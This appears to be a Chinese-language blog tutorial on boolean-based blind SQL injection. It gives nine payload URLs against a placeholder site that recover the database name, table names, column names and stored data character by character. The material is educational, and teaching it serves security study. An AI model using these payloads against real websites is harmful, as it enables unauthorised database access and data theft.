SQL注入(3)——布尔盲注

SQL注入是一种是一种常见的网络安全漏洞攻击手段。

2025年 07月30日 00:00 星期三
356 字 · 2 分钟

布尔盲注

布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

例如一个网址http://abc.cn/new_list.php?id=1,当我们在后面网址后面加上`and 1=1 或 and 1=2`来判断页面的回显情况,当and 1=1页面不变,而and 1=2时发生变化,那这里就很可能是注入点,由于布尔盲注太过繁琐我们可以运用sqlmap进行注入爆破,这里不做讲解,这里只讲解具体爆破相关的SQL。

布尔盲注大概分为以下九步:

  1. 爆库名长度

    SQL
    http://abc.cn/new_list.php?id=1 and length(database())=10
  2. 根据库名长度爆库名

    SQL
    http://abc.cn/new_list.php?id=1 and substr(database(),1,1)='s'
  3. 对当前库爆表数量

    SQL
    http://abc.cn/new_list.php?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2
  4. 根据库名和表数量爆表名长度

    SQL
    http://abc.cn/new_list.php?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
  5. 根据表名长度爆表名

    SQL
    http://abc.cn/new_list.php?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='m'
  6. 对表爆列数量

    SQL
    http://abc.cn/new_list.php?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='member')=3
  7. 根据表名和列数量爆列名长度

    SQL
    http://abc.cn/new_list.php?id=1 and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 'member' limit 0,1),1))=4
  8. 根据列名长度爆列名

    SQL
    http://abc.cn/new_list.php?id=1 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 1,1),1,1)='n'
  9. 根据列名爆数据值

    SQL
    http://abc.cn/new_list.php?id=1 and (select substr(name,1,1) from stormgroup.member limit 0,1)='m'

Thanks for reading!

SQL注入(3)——布尔盲注

2025年 07月30日 00:00 星期三
356 字 · 2 分钟